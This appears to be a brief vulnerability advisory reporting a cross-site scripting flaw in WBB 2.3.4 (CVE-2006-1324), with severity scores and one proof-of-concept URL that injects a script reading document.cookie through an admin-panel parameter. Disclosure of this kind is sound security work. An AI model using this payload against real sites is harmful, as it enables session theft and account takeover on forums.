Wbb 2.3. xss

2006.03.05
Credit: r57shell gmail com
Risk: Low
Local: No
Remote: Yes
CVE: CVE-2006-1324
CWE: N/A


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

there is an xss in wbb 2.3.4 example: http://example.com/wbb/acp/misc.php?sid=yoursessionid&action=workingtop& taskname=Backup%20Database&percent=<script>aler(document.cookie)</script > thnx


See this note in RAW Version
Vote for this issue:
50%
50%

Comment it here.
Copyright 2025, cxsecurity.com

 

Back to Top